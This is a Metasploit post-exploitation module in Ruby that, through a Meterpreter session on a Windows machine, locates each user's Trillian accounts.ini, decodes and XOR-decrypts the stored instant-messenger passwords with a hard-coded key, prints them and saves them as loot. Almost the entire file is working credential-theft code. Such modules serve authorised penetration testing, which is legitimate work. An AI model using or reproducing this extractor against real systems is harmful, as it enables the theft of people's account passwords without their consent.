##
#$Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'rex/parser/ini'
require 'base64'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Auxiliary::Report
	include Msf::Post::Windows::UserProfiles

	def initialize(info={})
		super(update_info(info,
			'Name' => 'Windows Gather Trillian Password Extractor',
			'Description' => %q{
				This module extracts account password from Trillian & Trillian Astra
				v4.x-5.x instant messenger.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
					'SecurityXploded Team',  #www.SecurityXploded.com
				],
			'Version' => '$Revision$',
			'Platform' => [ 'windows' ],
			'SessionTypes' => [ 'meterpreter' ]
		))
	end

	def run
		grab_user_profiles().each do |user|
			accounts = user['AppData'] + "\\Trillian\\users\\global\\accounts.ini"
			next if user['AppData'] == nil
			next if accounts.empty?
			stat = session.fs.file.stat(accounts) rescue nil
			next if stat.nil?
			get_ini(accounts)
		end
	end

	def get_ini(file)
		begin
			config = client.fs.file.new(file,'r')
			parse = config.read
			ini = Rex::Parser::Ini.from_s(parse)

			if ini == {}
				print_error("Unable to parse file")
				return
			end

			creds = Rex::Ui::Text::Table.new(
				'Header'  => 'Trillian versions 4-5 Instant Messenger Credentials',
				'Ident'	=> 1,
				'Columns' =>
				[
					'User',
					'Password'
				]
			)

			ini.each_key do |group|
				username = ini[group]['Account']
				epass = ini[group]['Password']
				next if epass == nil or epass == ""
				passwd = decrypt(epass).chop
				print_good("User: #{username}  Password: #{passwd}")
				creds << [username, passwd]
			end

			print_status("Storing data...")
			path = store_loot(
				'trillian.user.creds',
				'text/csv',
				session,
				creds.to_csv,
				'trillian_user_creds.csv',
				'Trillian Instant Messenger User Credentials'
				)

			print_status("Trillian Instant Messenger user credentials saved in: #{path}")

		rescue ::Exception => e
			print_error("An error has occured: #{e.to_s}")
		end
	end

	def decrypt (epass)
		magicarr = [243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185, 230, 83,
		122, 149, 124, 0, 0, 0, 0, 0, 0, 255, 0, 0, 128, 0, 0, 0, 128, 128, 0,
		255, 0, 0, 0, 128, 0, 128, 0, 128, 128, 0, 0, 0, 128, 255, 0, 128, 0,
		255, 0, 128, 128, 128, 0, 85, 110, 97, 98, 108, 101, 32, 116, 111, 32,
		114, 101, 115, 111, 108, 118, 101, 32, 72, 84, 84, 80, 32, 112, 114, 111,
		120, 0]

		decpass = Base64.decode64(epass)
		plaintext = [decpass].pack("H*").unpack("C*")

		for i in 0 .. plaintext.length-2 do
			plaintext[i] ^= magicarr[i]
		end

		return plaintext.pack("C*")
	end
end